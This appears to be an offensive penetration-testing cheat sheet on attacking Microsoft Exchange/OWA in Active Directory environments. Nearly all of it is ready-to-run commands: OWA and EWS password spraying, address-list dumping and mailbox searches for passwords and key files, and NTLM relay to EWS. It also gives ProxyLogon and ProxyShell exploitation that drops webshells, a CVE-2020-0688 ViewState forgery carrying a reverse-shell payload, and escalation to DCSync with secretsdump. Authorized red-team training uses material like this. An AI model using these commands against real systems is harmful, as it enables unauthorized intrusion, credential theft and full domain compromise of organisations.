AD Attacks

Exchange / OWA Attacks

Microsoft Exchange attack surface in AD: OWA password spraying, GAL enumeration, mailbox search with MailSniper, NTLM relay to EWS, ProxyLogon/ProxyShell CVEs, CVE-2020-0688 static key RCE, and Exchange privilege escalation to Domain Admin via Organisation Management.

Exchange is deeply integrated with AD and often over-trusted. The Exchange Windows Permissions group has WriteDACL on the domain object — membership is a path to DCSync. Legacy CVEs (ProxyLogon/ProxyShell) still appear in unpatched environments.

Discovery and Fingerprinting

# nmap — find OWA/EWS
nmap -p 80,443 TARGET --script http-title,http-auth-info

# Confirm Exchange endpoints
curl -sk https://TARGET/owa/ -D - | grep -i "www-authenticate\|X-OWA"
curl -sk https://TARGET/ecp/ | head -20
curl -sk https://TARGET/EWS/Exchange.asmx | head -20
curl -sk https://TARGET/autodiscover/autodiscover.xml | head -10

# NTLM auth banner — leaks internal domain name and hostname
curl -sk https://TARGET/owa/auth/owaauth.dll -D - | grep -i "www-authenticate"
# Decode the NTLM challenge base64 to see domain info

OWA Password Spraying

Exchange OWA is a convenient spray target — it’s internet-facing and reflects lockout policy.

# MailSniper — OWA spray
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!' -OutFile spray_results.txt

# EWS spray
Invoke-PasswordSprayEWS -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!'

# With threading
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Spring2024!' -Threads 5
# ruler
ruler --domain corp.local --username user --password pass --brute --users users.txt

Global Address List (GAL) Enumeration

The GAL contains every email address in the organisation — useful for building username lists and phishing targets.

# MailSniper — download GAL (no mailbox needed, just valid creds)
Get-GlobalAddressList -ExchHostname EXCHANGE_IP \
  -UserName CORP\user -Password 'pass' -OutFile gal.txt
# via LDAP (same data, different path)
ldapsearch -x -H ldap://DC_IP -D "corp\user" -w pass \
  -b "DC=corp,DC=local" "(objectClass=person)" mail proxyAddresses

Mailbox Search (MailSniper)

Import-Module .\MailSniper.ps1

# Search own mailbox
Invoke-SelfSearch -Mailbox user@corp.local -ExchHostname EXCHANGE_IP \
  -Terms "password","credential","vpn","key","secret"

# Search all mailboxes (requires Exchange admin or impersonation rights)
Invoke-GlobalMailSearch -ImpersonationAccount admin@corp.local \
  -ExchHostname EXCHANGE_IP -Terms "password" -OutputCsv results.csv

# Hunt for files
Invoke-SelfSearch -Mailbox user@corp.local -ExchHostname EXCHANGE_IP \
  -Terms "*.kdbx","*.pem","*.pfx","*.key"

NTLM Relay to EWS

Exchange Web Services (EWS) accepts NTLM auth. Relay a captured hash to access email:

# Relay to EWS
ntlmrelayx.py -t https://EXCHANGE_IP/EWS/Exchange.asmx -smb2support --no-http-server

# Wait for victim's NTLM auth (via Responder poisoning or coercion)
# ntlmrelayx drops a cookie/session file for use with ruler or Invoke-OpenInboxFinder

ProxyLogon — CVE-2021-26855

Pre-auth SSRF + file write → webshell. Chains CVE-2021-26855 + CVE-2021-27065.

Affects: Exchange 2013–2019 before March 2021 patches.

# Check if vulnerable (no auth needed)
curl -sk "https://EXCHANGE_IP/ecp/y.js?__VIEWSTATEGENERATOR=CA0B0334&__VIEWSTATE=/wEPDw8WAQ8WAmYPFgIeBXN0eQ==" \
  -H "Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3"

# PoC — drops webshell
python3 proxylogon.py EXCHANGE_IP user@corp.local

# Metasploit
use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS EXCHANGE_IP
run

ProxyShell — CVE-2021-34473 + 34523 + 31207

Pre-auth RCE via autodiscover endpoint. Chains three CVEs.

Affects: Exchange 2013–2019 before July 2021 patches.

# Check
python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.local

# Exploit — drops webshell
python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.local -s shell.aspx

# Metasploit
use exploit/windows/http/exchange_proxyshell_rce
set EMAIL admin@corp.local
set RHOSTS EXCHANGE_IP
run

CVE-2020-0688 — Static Validation Key

Exchange shipped with static validationKey + decryptionKey in web.config. Authenticated users can forge a ViewState to achieve RCE.

Affects: All Exchange versions before Feb 2020 patches. Requires valid OWA credentials.

# Generate malicious ViewState (ysoserial.exe)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell -enc BASE64_REVERSE_SHELL" \
  --validationalg="SHA1" \
  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"

# POST the forged ViewState to /ecp/default.aspx
curl -sk -X POST "https://EXCHANGE_IP/ecp/default.aspx" \
  -H "Cookie: ASP.NET_SessionId=SESSION_ID" \
  --data "__VIEWSTATE=FORGED_VIEWSTATE&__VIEWSTATEGENERATOR=..."

Exchange → Domain Admin Escalation

Organisation Management → DCSync

The Exchange Windows Permissions group has WriteDACL on the domain object. If you’re in Organisation Management, you can add users to Exchange Windows Permissions.

# Check Exchange-related groups
Get-DomainGroupMember -Identity 'Organization Management' -Recurse
Get-DomainGroupMember -Identity 'Exchange Windows Permissions' -Recurse

# Add yourself to Exchange Windows Permissions (if in Organisation Management)
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members attacker

# Use WriteDACL to grant DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity 'Exchange Windows Permissions' -Rights DCSync
# DCSync
secretsdump.py corp.local/attacker:pass@DC_IP -just-dc-ntlm

Exchange Trusted Subsystem

Exchange Trusted Subsystem has Write on all AD objects. If you compromise an Exchange server (via ProxyLogon/ProxyShell):

# Exchange Trusted Subsystem has GenericAll-like rights on AD
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity 'Exchange Trusted Subsystem' -Rights DCSync

ruler — Exchange Tool

# Autodiscover
ruler --domain corp.local autodiscover

# Spray
ruler --domain corp.local --username user --password pass --brute --users users.txt

# Remote Outlook Home Page rule (requires valid creds + OWA access)
ruler --email user@corp.local --username user --password pass \
  --url https://EXCHANGE_IP/EWS/Exchange.asmx \
  form add --suffix test --input homepage.html --output form.msg --send